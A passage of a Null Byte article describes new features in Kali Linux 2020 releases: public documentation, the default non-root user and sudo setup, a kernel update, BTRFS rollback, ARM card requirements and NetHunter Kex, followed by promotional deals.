Microsoft Corporation. All rights reserved. https://aka.ms/pscore6-docs Type 'help' to get help. PS /root>Docs & Public PackagingKali now puts more power into the hands of the community by allowing the public to get more involved. All documentation is now available in markdown ina public Git repository— anyone can contribute through merge requests. There are also plans for all documentation to be included in every image of Kali, making it possible to access offline.Another change involves how packaging new tools takes place. There is nowdocumentationon how to create new packages to be included with Kali. Once a new tool is packaged up, it can be submitted for approval.The Default Non-Root User in 2020.1 & UpIf you installed 2020.1 or higher, you had to create an admin user versus a root user. To use Kali at the root level, you can usesudo -sorsudo -iorsudo suto get it in your current shell. You could also create a password for root once you have the root prompt; usepasswd rootand create the password. Afterward, you can just usesuto open root access in your shell.Alternatively, you can set up password-less permissions when usingsudowith the following command.~$ sudo apt install -y kali-grant-root && sudo dpkg-reconfigure kali-grant-rootOther FeaturesKali has a few other new features as well. The kernel had been updated to version 5.3.9 in 2019.4, but it's now currently at 5.5.17 as of May 13, 2020. Another addition is the use of BTRFS (b-tree file system), which allows the ability to roll back changes on a bare metal install, much like the snapshot feature used in a VM.The 2019.4 version of Kali is also the last release that supports 8 GB SD cards forARM, so if it's 2020.1 or higher you want, you'll need a 16 GB card. Kali NetHunter gets an update as well. With the new NetHunter Kex, an HDMI output can be connected to anAndroid device, plus Bluetooth keyboard and mouse. — it essentially creates a full Kali desktop experience straight from your phone.The 2020.1 build introduced three regular Nethunter versions, one for rooted devices with custom recovery and patched kernel, one for rooted devices with custom recovery and no custom kernel, and one for unrooted devices.Wrapping UpIn this article, we covered the latest Kali Linux releases, their new features, and walked through the basic installation any newbie could work with. For more advanced installations, for example, if you want toverify the checksum, dual-boot Kali with Windows, Mac, or Linux, encrypt the disk, and so on, check outKali's official documents.It's the same old Kali you know and love, but with new looks and better performance. With these exciting new changes, one thing is certain — Kali Linux remains the king of pentesting distros.Don't Miss:Top 10 Things to Do After Installing Kali LinuxWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by drd_/Null ByteRelatedHow To:Run Kali Linux as a Windows SubsystemHow To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsLinux:Where Do I Start?